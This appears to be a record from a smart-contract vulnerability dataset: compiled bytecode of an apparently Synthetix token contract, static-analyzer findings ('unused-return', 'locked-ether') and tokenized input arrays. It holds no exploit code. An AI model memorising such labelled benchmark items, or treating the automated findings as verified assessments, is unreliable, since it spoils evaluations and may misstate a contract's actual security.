518163ffffffff1660e01b815260040160206040518083038186803b158015610c8e57600080fd5b505afa158015610ca2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610cc6919081019061377a565b905060008111610ce85760405162461bcd60e51b8152600401610c3290614597565b604051637e7961d760e01b81526001600160a01b03841690637e7961d790610d14908490600401614327565b602060405180830381600087803b158015610d2e57600080fd5b505af1158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610d66919081019061373e565b506000836001600160a01b0316639bdd7ac76040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610dda919081019061377a565b90506000610dee838363ffffffff612a3616565b600480546040516370a0823160e01b81529293506001600160a01b03169163b46310f6918791610e8a91869186916370a0823191610e2e91879101614133565b60206040518083038186803b158015610e4657600080fd5b505afa158015610e5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e7e919081019061377a565b9063ffffffff612a5e16565b6040518363ffffffff1660e01b8152600401610ea7929190614283565b600060405180830381600087803b158015610ec157600080fd5b505af1158015610ed5573d6000803e3d6000fd5b50505050610ee4308583612a83565b604051630b32e9c760e31b81526001600160a01b038516906359974e3890610f10908490600401614327565b602060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f62919081019061373e565b50600480546040516370a0823160e01b81526001600160a01b039091169163b46310f6913391610fa291879186916370a0823191610e2e91879101614141565b6040518363ffffffff1660e01b8152600401610fbf92919061414f565b600060405180830381600087803b158015610fd957600080fd5b505af1158015610fed573d6000803e3d6000fd5b50505050610ffc303384612a83565b60075461100f908463ffffffff612a5e16565b6007555060019450505050505b90565b611027612ac6565b600180546001600160a01b0319166001600160a01b0383161790556040517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2290611072908390614133565b60405180910390a150565b600061108761285a565b6001600160a01b03166316b2213f836040518263ffffffff1660e01b81526004016108e49190614133565b60075481565b6040518060400160405280601781526020017f53796e746865746978204e6574776f726b20546f6b656e00000000000000000081525081565b6000806110fc61298e565b6003546040516301670a7b60e21b81526001600160a01b039283169263059c29ec9261112f929116908790600401614283565b60206040518083038186803b15801561114757600080fd5b505afa15801561115b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061117f919081019061377a565b1192915050565b600061119061286e565b611198612af0565b6111a28483612b30565b506003546111bb906001600160a01b0316858585612d15565b90505b9392505050565b6111cd6129a5565b6111d561286e565b6111dd61285a565b60035460405163b06e8c6560e01b81526001600160a01b039283169263b06e8c6592611210929116908590600401614283565b600060405180830381600087803b15801561122a57600080fd5b505af115801561123e573d6000803e3d6000fd5b505050505b50565b604051806040016040528060038152602001620a69cb60eb1b81525081565b60006060611271611dee565b905060005b815181101561137857600082828151811061128d57fe5b602090810291909101810151600081815260099092526040918290205460085492516321f8a72160e01b81529193506001600160a01b0390811692610100900416906321f8a721906112e3908590600401614327565b60206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061133391908101906134a0565b6001600160a01b031614158061135e57506000818152600960205260409020546001600160a01b0316155b1561136f576000935050505061101c565b50600101611276565b50600191505090565b6113896129a5565b61139161286e565b61139961285a565b60035460405163159fa0d560e11b81526001600160a01b0392831692632b3f41aa926112109286929091169060040161416a565b6113d5612e1d565b6002546040516001600160a01b039091169063907dff97906113ff908690869086906020016143d8565b604051602081830303815290604052600260405161141c906140bb565b6040519081900381206001600160e01b031960e086901b16825261144b9392918a906000908190600401614447565b600060405180830381600087803b15801561146557600080fd5b505af1158015611479573d6000803e3d6000fd5b5050505050505050565b601281565b611490612e1d565b6002546040516001600160a01b039091169063907dff97906114be908890889088908890889060200161438c565b60405160208183030381529060405260026040516114db906140a5565b60405180910390206114ec8b612e55565b6000806040518763ffffffff1660e01b815260040161151096959493929190614447565b600060405180830381600087803b15801561152a57600080fd5b505af115801561153e573d6000803e3d6000fd5b50505050505050505050565b60008584611558828261292d565b61156061286e565b61156861298e565b6003546040516327c319e960e11b81526001600160a01b0392831692634f8633d2926115aa9291169081908d908d908d9084906000908f908f9060040161420b565b6040805180830381600087803b1580156115c357600080fd5b505af11580156115d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115fb91908101906138bc565b5098975050505050505050565b60085460ff1681565b6116196129a5565b61162161286e565b61162961285a565b60035460405163fd864ccf60e01b81526001600160a01b039283169263fd864ccf926112109286929091169060040161416a565b600061166761285a565b6001600160a01b03166332608039836040518263ffffffff1660e01b81526004016116929190614327565b60206040518083038186803b1580156116aa57600080fd5b505afa1580156116be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109349190810190613850565b60006116ec61285a565b6001600160a01b0316637b1001b78360016040518363ffffffff1660e01b81526004016108e4929190614343565b600061172461285a565b6001600160a01b0316634e99bda96040518163ffffffff1660e01b815260040160206040518083038186803b15801561175c57600080fd5b505afa158015611770573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611794919081019061373e565b905090565b6001546001600160a01b031681565b600085846117b6828261292d565b6117be61286e565b6117c661298e565b6003546040516327c319e960e11b81526001600160a01b0392831692634f8633d2926115aa9291169081908d908d908d9032906000908f908f90600401614185565b680a6f2dce8d0cae8d2f60bb1b81565b611820612e61565b5050565b600061182e61285a565b600480546040516370a0823160e01b81526001600160a01b0393841693636bed0415938793909116916370a082319161186991859101614133565b60206040518083038186803b15801561188157600080fd5b505afa158015611895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506118b9919081019061377a565b6040518363ffffffff1660e01b81526004016118d6929190614283565b604080518083038186803b1580156118ed57600080fd5b505afa158015611901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611925919081019061388c565b5092915050565b611934612ac6565b6004546000906001600160a01b03166370a08231611950612e79565b6040518263ffffffff1660e01b815260040161196c9190614133565b60206040518083038186803b15801561198457600080fd5b505afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506119bc919081019061377a565b90506118206119c9612e79565b6119d1612e93565b83612eaf565b6119df612e1d565b6002546040516001600160a01b039091169063907dff9790611a0d908890889088908890889060200161438c565b60405160208183030381529060405260026040516114db906140e6565b611a32612e1d565b6002546040516001600160a01b039091169063907dff9790611a5a908590859060200161435e565b6040516020818303038152906040526002604051611a77906140fc565b6040518091039020611a8888612e55565b6000806040518763ffffffff1660e01b8152600401611aac96959493929190614447565b600060405180830381600087803b158015611ac657600080fd5b505af1158015611ada573d6000803e3d6000fd5b50505050505050565b600480546040516370a0823160e01b81526000926001600160a01b03909216916370a08231916108e491869101614133565b6060611b1f61285a565b6001600160a01b03166372cb051f6040518163ffffffff1660e01b815260040160006040518083038186803b158015611b5757600080fd5b505afa158015611b6b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526117949190810190613709565b6060611b9d611dee565b905060005b8151811015611820576000828281518110611bb957fe5b602002602001015190506000600860019054906101000a90046001600160a01b03166001600160a01b031663dacb2d018384604051602001611bfb919061411d565b6040516020818303038152906040526040518363ffffffff1660e01b8152600401611c2792919061436c565b60206040518083038186803b158015611c3f57600080fd5b505afa158015611c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c7791908101906134a0565b6000838152600960205260409081902080546001600160a01b0319166001600160a01b038416179055519091507f88a93678a3692f6789d9546fc621bf7234b101ddb7d4fe479455112831b8aa6890611cd39084908490614335565b60405180910390a15050600101611ba2565b6001546001600160a01b03163314611d0f5760405162461bcd60e51b8152600401610c32906144f7565b6000546001546040517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c92611d52926001600160a01b039182169291169061416a565b60405180910390a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000611d8b61285a565b6001600160a01b031663835e119c836040518263ffffffff1660e01b81526004016116929190614327565b6000611dc061285a565b6001600160a01b0316637b1001b78360006040518363ffffffff1660e01b81526004016108e4929190614343565b606080611df961302f565b60408051600380825260808201909252919250606091906020820183803883390190505090506b526577617264457363726f7760a01b81600081518110611e3c57fe5b6020026020010181815250506d2932bbb0b93222b9b1b937bbab1960911b81600181518110611e6757fe5b6020026020010181815250506d537570706c795363686564756c6560901b81600281518110611e9257fe5b602002602001018181525050611ea882826130f7565b9250505090565b611eb76129a5565b611ebf61286e565b611ec761285a565b6003546040516285c0d160e31b81526001600160a01b039283169263042e068892611210929116908590600401614283565b6000546001600160a01b031681565b60008584611f16828261292d565b611f1e61286e565b611f2661298e565b6003546040516327c319e960e11b81526001600160a01b0392831692634f8633d292611f69928e92909116908d908d908d9085906000908f908f9060040161420b565b6040805180830381600087803b158015611f8257600080fd5b505af1158015611f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611fba91908101906138bc565b509998505050505050505050565b631cd554d160e21b81565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109c05780601f10610995576101008083540402835291602001916109c0565b612036612ac6565b600280546001600160a01b0319166001600160a01b0383161790556040517ffc80377ca9c49cc11ae6982f390a42db976d5530af7c43889264b13fbbd7c57e90611072908390614141565b6120896129a5565b61209161286e565b61209961285a565b6003546040516324beb82560e11b81526001600160a01b039283169263497d704a926120ca92911690600401614133565b600060405180830381600087803b1580156120e457600080fd5b505af11580156120f8573d6000803e3d6000fd5b505050505b565b600080600061210c61286e565b61211461298e565b6003546040516306c5a00b60e21b81526001600160a01b0392831692631b16802c92612147929116908890600401614283565b606060405180830381600087803b15801561216157600080fd5b505af1158015610bc6573d6000803e3d6000fd5b61217d6131ac565b600480546001600160a01b0319166001600160a01b0383161790556112438161321a565b60006121ab61285a565b6001600160a01b031663a311c7c2836040518263ffffffff1660e01b81526004016108e49190614133565b60006121e061285a565b6001600160a01b031663a5fdc5de836040518263ffffffff1660e01b81526004016108e49190614133565b600061221561286e565b61221d612af0565b600354612233906001600160a01b031683612b30565b50600354610a49906001600160a01b0316848461328c565b612253612e1d565b6002546040516001600160a01b039091169063907dff979061227b908590859060200161435e565b6040516020818303038152906040526002604051611a77906140b0565b6122a06129a5565b6122a861286e565b6122b061285a565b60035460405163644bb89960e11b81526001600160a01b039283169263c8977132926120ca92911690600401614133565b6122e9613299565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6123136129a5565b61231b61286e565b61232361285a565b600354604051632694552d60e21b81526001600160a01b0392831692639a5154b49261235992879290911690869060040161425b565b600060405180830381600087803b15801561237357600080fd5b505af1158015612387573d6000803e3d6000fd5b505050505050565b6000848361239d828261292d565b6123a561286e565b6123ad61298e565b60035460405163104849bf60e01b81526001600160a01b039283169263104849bf926123e8929116908b908b908b9084908c90600401614291565b602060405180830381600087803b15801561240257600080fd5b505af1158015612416573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061243a919081019061377a565b979650505050505050565b60008382612453828261292d565b61245b61286e565b61246361298e565b6003546040516327c319e960e11b81526001600160a01b0392831692634f8633d2926124a6928c92909116908b908b908b9085906000908290829060040161420b565b6040805180830381600087803b1580156124bf57600080fd5b505af11580156124d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506124f791908101906138bc565b50979650505050505050565b600061250d61285a565b6001600160a01b031663d37c4d8b84846040518363ffffffff1660e01b815260040161253a929190614283565b60206040518083038186803b15801561255257600080fd5b505afa158015612566573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111be919081019061377a565b6003546001600160a01b031681565b611243612e61565b60006125ab61285a565b6001600160a01b031663dbf633406040518163ffffffff1660e01b815260040160206040518083038186803b1580156125e357600080fd5b505afa1580156125f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611794919081019061377a565b60048054604051636eb1769f60e11b81526000926001600160a01b039092169163dd62ed3e9161253a91879187910161416a565b6000612659612af0565b61266161286e565b60008061266c61285a565b60035460405163298f137d60e21b81526001600160a01b039283169263a63c4df4926126a0928a928a9216906004016142e0565b6040805180830381600087803b1580156126b957600080fd5b505af11580156126cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506126f191908101906138ec565b6003549193509150612711908690849084906001600160a01b03166132c3565b6003546127299086906001600160a01b03168461328c565b95945050505050565b61273a6129a5565b61274261286e565b61274a61285a565b60035460405163227635b160e11b81526001600160a01b03928316926344ec6b629261235992879290911690869060040161425b565b6004546001600160a01b031681565b6002546001600160a01b031681565b600083826127ac828261292d565b6127b461286e565b6127bc61298e565b6003546040516327c319e960e11b81526001600160a01b0392831692634f8633d2926127fe9291169081908b908b908b9084906000908290829060040161420b565b6040805180830381600087803b15801561281757600080fd5b505af115801561282b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061284f91908101906138bc565b509695505050505050565b60006117946524b9b9bab2b960d11b61333f565b6002546001600160a01b0316331480159061289457506003546001600160a01b03163314155b156120fd57600380546001600160a01b03191633179055565b6002546040516001600160a01b039091169063907dff97906128d3908490602001614327565b60405160208183030381529060405260036040516128f0906140f1565b604051809103902061290188612e55565b61290a88612e55565b60006040518763ffffffff1660e01b8152600401611aac96959493929190614481565b61293561339c565b6001600160a01b0316631ce00ba283836040518363ffffffff1660e01b815260040161296292919061435e565b60006040518083038186803b15801561297a57600080fd5b505afa158015612387573d6000803e3d6000fd5b60006117946822bc31b430b733b2b960b91b61333f565b6129ad61339c565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b1580156129e557600080fd5b505afa1580156120f8573d6000803e3d6000fd5b6000611794722932bbb0b93239a234b9ba3934b13aba34b7b760691b61333f565b60006117946d537570706c795363686564756c6560901b61333f565b600082821115612a585760405162461bcd60e51b8152600401610c3290614537565b50900390565b6000828201838110156111be5760405162461bcd60e51b8152600401610c3290614527565b6002546040516001600160a01b039091169063907dff9790612aa9908490602001614327565b60405160208183030381529060405260036040516128f090614128565b6000546001600160a01b031633146120fd5760405162461bcd60e51b8152600401610c3290614587565b612af861339c565b6001600160a01b031663086dabd16040518163ffffffff1660e01b815260040160006040518083038186803b1580156129e557600080fd5b600080612b3b61285a565b6001600160a01b031663d37c4d8b85631cd554d160e21b6040518363ffffffff1660e01b8152600401612b6f929190614283565b60206040518083038186803b158015612b8757600080fd5b505afa158015612b9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612bbf919081019061377a565b1115612d0c57600080612bd061285a565b600480546040516370a0823160e01b81526001600160a01b0393841693636bed0415938a93909116916370a0823191612c0b91859101614133565b60206040518083038186803b158015612c2357600080fd5b505afa158015612c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612c5b919081019061377a565b6040518363ffffffff1660e01b8152600401612c78929190614283565b604080518083038186803b158015612c8f57600080fd5b505afa158015612ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612cc7919081019061388c565b9150915081841115612ceb5760405162461bcd60e51b8152600401610c3290614557565b8015612d095760405162461bcd60e51b8152600401610c3290614567565b50505b50600192915050565b60048054604051636eb1769f60e11b81526000926001600160a01b039092169163da46098c9187918991612db7918891879163dd62ed3e91612d5b91889188910161416a565b60206040518083038186803b158015612d7357600080fd5b505afa158015612d87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612dab919081019061377a565b9063ffffffff612a3616565b6040518463ffffffff1660e01b8152600401612dd59392919061425b565b600060405180830381600087803b158015612def57600080fd5b505af1158015612e03573d6000803e3d6000fd5b50505050612e12848484612eaf565b90505b949350505050565b612e2561298e565b6001600160a01b0316336001600160a01b0316146120fd5760405162461bcd60e51b8152600401610c3290614517565b6001600160a01b031690565b60405162461bcd60e51b8152600401610c3290614547565b60006117946b526577617264457363726f7760a01b61333f565b60006117946d2932bbb0b93222b9b1b937bbab1960911b61333f565b60006001600160a01b03831615801590612ed257506001600160a01b0383163014155b8015612eec57506002546001600160a01b03848116911614155b612f085760405162461bcd60e51b8152600401610c32906144e7565b600480546040516370a0823160e01b81526001600160a01b039091169163b46310f6918791612f4791879186916370a0823191612d5b91879101614133565b6040518363ffffffff1660e01b8152600401612f64929190614283565b600060405180830381600087803b158015612f7e57600080fd5b505af1158015612f92573d6000803e3d6000fd5b5050600480546040516370a0823160e01b81526001600160a01b03909116935063b46310f692508691612fd591879186916370a0823191610e2e91879101614133565b6040518363ffffffff1660e01b8152600401612ff2929190614283565b600060405180830381600087803b15801561300c57600080fd5b505af1158015613020573d6000803e3d6000fd5b50505050610a49848484612a83565b60408051600480825260a08201909252606091602082016080803883390190505090506b53797374656d53746174757360a01b8160008151811061306f57fe5b6020026020010181815250506822bc31b430b733b2b960b91b8160018151811061309557fe5b6020026020010181815250506524b9b9bab2b960d11b816002815181106130b857fe5b602002602001018181525050722932bbb0b93239a234b9ba3934b13aba34b7b760691b816003815181106130e857fe5b60200260200101818152505090565b60608151835101604051908082528060200260200182016040528015613127578160200160208202803883390190505b50905060005b83518110156131695783818151811061314257fe5b602002602001015182828151811061315657fe5b602090810291909101015260010161312d565b5060005b82518110156119255782818151811061318257fe5b602002602001015182828651018151811061319957fe5b602090810291909101015260010161316d565b6002546001600160a01b031633148015906131d257506003546001600160a01b03163314155b156131ea57600380546001600160a01b031916331790555b6000546003546001600160a01b039081169116146120fd5760405162461bcd60e51b8152600401610c3290614507565b6002546040516001600160a01b039091169063907dff9790613240908490602001614133565b604051602081830303815290604052600160405161325d90614107565b6040519081900381206001600160e01b031960e086901b168252611210939291600090819081906004016143f3565b60006111bb848484612eaf565b6002546001600160a01b031633146120fd5760405162461bcd60e51b8152600401610c32906145a7565b6002546040516001600160a01b039091169063907dff97906132ed908690869086906020016145d2565b604051602081830303815290604052600260405161330a90614112565b604051809103902061331b89612e55565b6000806040518763ffffffff1660e01b815260040161144b96959493929190614447565b60008181526009602090815260408083205490516001600160a01b03909116918215159161336f918691016140c6565b604051602081830303815290604052906119255760405162461bcd60e51b8152600401610c3291906144d6565b60006117946b53797374656d53746174757360a01b61333f565b8035610934816146c9565b8051610934816146c9565b600082601f8301126133dd57600080fd5b81516133f06133eb82614615565b6145ee565b9150818183526020840193506020810190508385602084028201111561341557600080fd5b60005b83811015613441578161342b8882613461565b8452506020928301929190910190600101613418565b5050505092915050565b8051610934816146dd565b8035610934816146e6565b8051610934816146e6565b8051610934816146ef565b8035610934816146ef565b60006020828403121561349457600080fd5b6000612e1584846133b6565b6000602082840312156134b257600080fd5b6000612e1584846133c1565b600080604083850312156134d157600080fd5b60006134dd85856133b6565b92505060206134ee858286016133b6565b9150509250929050565b60008060006060848603121561350d57600080fd5b600061351986866133b6565b935050602061352a868287016133b6565b925050604061353b86828701613456565b9150509250925092565b6000806040838503121561355857600080fd5b600061356485856133b6565b92505060206134ee85828601613456565b60008060006060848603121561358a57600080fd5b600061359686866133b6565b935050602061352a86828701613456565b600080600080608085870312156135bd57600080fd5b60006135c987876133b6565b94505060206135da87828801613456565b93505060406135eb87828801613456565b92505060606135fc87828801613456565b91505092959194509250565b60008060008060008060c0878903121561362157600080fd5b600061362d89896133b6565b965050602061363e89828a01613456565b955050604061364f89828a01613456565b945050606061366089828a01613456565b935050608061367189828a016133b6565b92505060a061368289828a01613456565b9150509295509295509295565b60008060008060008060c087890312156136a857600080fd5b60006136b489896133b6565b96505060206136c589828a01613456565b95505060406136d689828a01613456565b94505060606136e789828a01613456565b93505060806136f889828a01613456565b92505060a061368289828a016133b6565b60006020828403121561371b57600080fd5b815167ffffffffffffffff81111561373257600080fd5b612e15848285016133cc565b60006020828403121561375057600080fd5b6000612e15848461344b565b60006020828403121561376e57600080fd5b6000612e158484613456565b60006020828403121561378c57600080fd5b6000612e158484613461565b600080600080608085870312156137ae57600080fd5b60006135c98787613456565b6000806000606084860312156137cf57600080fd5b60006135968686613456565b600080600080600060a086880312156137f357600080fd5b60006137ff8888613456565b955050602061381088828901613456565b945050604061382188828901613456565b9350506060613832888289016133b6565b925050608061384388828901613456565b9150509295509295909350565b60006020828403121561386257600080fd5b6000612e15848461346c565b60006020828403121561388057600080fd5b6000612e158484613477565b6000806040838503121561389f57600080fd5b60006138ab8585613461565b92505060206134ee8582860161344b565b600080604083850312156138cf57600080fd5b60006138db8585613461565b92505060206134ee8582860161346c565b600080604083850312156138ff57600080fd5b600061390b8585613461565b92505060206134ee85828601613461565b60008060006060848603121561393157600080fd5b600061393d8686613461565b935050602061394e86828701613461565b925050604061353b86828701613461565b600061396b83836139ed565b505060200190565b61397c8161466f565b82525050565b61397c8161464e565b60006139968261463c565b6139a08185614640565b93506139ab83614636565b8060005b838110156139d95781516139c3888261395f565b97506139ce83614636565b9250506001016139af565b509495945050505050565b61397c81614659565b61397c8161101c565b61397c613a028261101c565b61101c565b6000613a128261463c565b613a1c8185614640565b9350613a2c818560208601614693565b613a35816146bf565b9093019392505050565b61397c8161465e565b61397c8161467a565b61397c81614688565b6000613a67601f83614640565b7f43616e6e6f74207472616e7366657220746f2074686973206164647265737300815260200192915050565b6000613aa0603583614640565b7f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7581527402063616e20616363657074206f776e65727368697605c1b602082015260400192915050565b6000613af7601383614640565b7227bbb732b91037b7363c90333ab731ba34b7b760691b815260200192915050565b6000613b26601e83614640565b7f4f6e6c792045786368616e6765722063616e20696e766f6b6520746869730000815260200192915050565b6000613b5f604483614649565b7f41746f6d696353796e746845786368616e676528616464726573732c6279746581527f7333322c75696e743235362c627974657333322c75696e743235362c616464726020820152636573732960e01b604082015260440192915050565b6000613bcb601b83614640565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000613c04602883614649565b7f45786368616e67655265636c61696d28616464726573732c627974657333322c81526775696e743235362960c01b602082015260280192915050565b6000613c4e601e83614640565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815260200192915050565b6000613c87601b83614640565b7f43616e6e6f742062652072756e206f6e2074686973206c617965720000000000815260200192915050565b6000613cc0603183614649565b7f45786368616e6765547261636b696e6728627974657333322c627974657333328152702c75696e743235362c75696e743235362960781b602082015260310192915050565b6000613d13601183614649565b70026b4b9b9b4b7339030b2323932b9b99d1607d1b815260110192915050565b6000613d40603e83614649565b7f53796e746845786368616e676528616464726573732c627974657333322c756981527f6e743235362c627974657333322c75696e743235362c616464726573732900006020820152603e0192915050565b6000613d9f602683614640565b7f43616e6e6f74207472616e73666572207374616b6564206f7220657363726f778152650cac840a69cb60d31b602082015260400192915050565b6000613de7601e83614640565b7f412073796e7468206f7220534e58207261746520697320696e76616c69640000815260200192915050565b6000613e20601b83614640565b7f52657761726473446973747269627574696f6e206e6f74207365740000000000815260200192915050565b6000613e59602f83614640565b7f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726681526e37b936903a3434b99030b1ba34b7b760891b602082015260400192915050565b6000613eaa602183614649565b7f417070726f76616c28616464726573732c616464726573732c75696e743235368152602960f81b602082015260210192915050565b6000613eed602783614649565b7f45786368616e676552656261746528616464726573732c627974657333322c75815266696e743235362960c81b602082015260270192915050565b6000613f36601a83614649565b7f546f6b656e5374617465557064617465642861646472657373290000000000008152601a0192915050565b6000613f6f603283614649565b7f4163636f756e744c69717569646174656428616464726573732c75696e743235815271362c75696e743235362c616464726573732960701b602082015260320192915050565b6000613fc3601983614649565b7f5265736f6c766572206d697373696e67207461726765743a2000000000000000815260190192915050565b6000613ffc601583614640565b744e6f20737570706c79206973206d696e7461626c6560581b815260200192915050565b600061402d602183614649565b7f5472616e7366657228616464726573732c616464726573732c75696e743235368152602960f81b602082015260210192915050565b6000614070601783614640565b7f4f6e6c79207468652070726f78792063616e2063616c6c000000000000000000815260200192915050565b61397c81614669565b600061093482613b52565b600061093482613bf7565b600061093482613cb3565b60006140d182613d06565b91506140dd82846139f6565b50602001919050565b600061093482613d33565b600061093482613e9d565b600061093482613ee0565b600061093482613f29565b600061093482613f62565b60006140d182613fb6565b600061093482614020565b602081016109348284613982565b602081016109348284613973565b6040810161415d8285613973565b6111be60208301846139ed565b604081016141788285613982565b6111be6020830184613982565b6101208101614194828c613982565b6141a1602083018b613982565b6141ae604083018a6139ed565b6141bb60608301896139ed565b6141c860808301886139ed565b6141d560a0830187613973565b6141e260c08301866139e4565b6141ef60e0830185613982565b6141fd6101008301846139ed565b9a9950505050505050505050565b610120810161421a828c613982565b614227602083018b613982565b614234604083018a6139ed565b61424160608301896139ed565b61424e60808301886139ed565b6141d560a0830187613982565b606081016142698286613982565b6142766020830185613982565b612e1560408301846139ed565b6040810161415d8285613982565b60c0810161429f8289613982565b6142ac60208301886139ed565b6142b960408301876139ed565b6142c660608301866139ed565b6142d36080830185613982565b61243a60a08301846139ed565b606081016142ee8286613982565b6142fb60208301856139ed565b612e156040830184613982565b602080825281016111be818461398b565b6020810161093482846139e4565b6020810161093482846139ed565b6040810161417882856139ed565b6040810161435182856139ed565b6111be60208301846139e4565b6040810161415d82856139ed565b6040810161437a82856139ed565b81810360208301526111bb8184613a07565b60a0810161439a82886139ed565b6143a760208301876139ed565b6143b460408301866139ed565b6143c160608301856139ed565b6143ce6080830184613982565b9695505050505050565b606081016143e682866139ed565b61427660208301856139ed565b60c080825281016144048189613a07565b90506144136020830188613a51565b61442060408301876139ed565b61442d6060830186613a48565b61443a6080830185613a48565b61243a60a0830184613a48565b60c080825281016144588189613a07565b90506144676020830188613a51565b61447460408301876139ed565b61442d60608301866139ed565b60c080825281016144928189613a07565b90506144a16020830188613a51565b6144ae60408301876139ed565b6144bb60608301866139ed565b61443a60808301856139ed565b602081016109348284613a3f565b602080825281016111be8184613a07565b6020808252810161093481613a5a565b6020808252810161093481613a93565b6020808252810161093481613aea565b6020808252810161093481613b19565b6020808252810161093481613bbe565b6020808252810161093481613c41565b6020808252810161093481613c7a565b6020808252810161093481613d92565b6020808252810161093481613dda565b6020808252810161093481613e13565b6020808252810161093481613e4c565b6020808252810161093481613fef565b6020808252810161093481614063565b604081016145c582856139ed565b6111be6020830184613a3f565b606081016142ee82866139ed565b60208101610934828461409c565b60405181810167ffffffffffffffff8111828210171561460d57600080fd5b604052919050565b600067ffffffffffffffff82111561462c57600080fd5b5060209081020190565b60200190565b5190565b90815260200190565b919050565b600061093482612e55565b151590565b60006109348261464e565b60ff1690565b60006109348261465e565b6000610934613a028361101c565b60006109348261101c565b60005b838110156146ae578181015183820152602001614696565b838111156120f85750506000910152565b601f01601f191690565b6146d28161464e565b811461124357600080fd5b6146d281614659565b6146d28161101c565b6146d28161465e56fea365627a7a72315820bfcb149613fa2d19a8112ad2282f670d3385c5f244880192aabbca857ebf2a016c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 16086, 2581, 2497, 2692, 18139, 21996, 2683, 2581, 2050, 2620, 17465, 2278, 2509, 2098, 2278, 2620, 2620, 2487, 10354, 2581, 2581, 23777, 2546, 2620, 20842, 2620, 2683, 12376, 1013, 1008, 100, 5432, 5432, 5432, 100, 2023, 2003, 1037, 4539, 3206, 1011, 2079, 2025, 7532, 2000, 2009, 3495, 1999, 2115, 8311, 2030, 4830, 28281, 999, 2023, 3206, 2038, 2019, 3378, 24540, 2008, 2442, 2022, 2109, 2005, 2035, 8346, 2015, 1011, 2023, 4539, 2097, 2022, 2999, 1999, 2019, 9046, 24203, 20624, 2595, 2713, 999, 1996, 24540, 2005, 2023, 3206, 2064, 2022, 2179, 2182, 1024, 16770, 1024, 1013, 1013, 8311, 1012, 24203, 20624, 2595, 1012, 22834, 1013, 24540, 2121, 2278, 11387, 1008, 1013, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,796
0x976091738973b520a514ea206acdd008a09649de
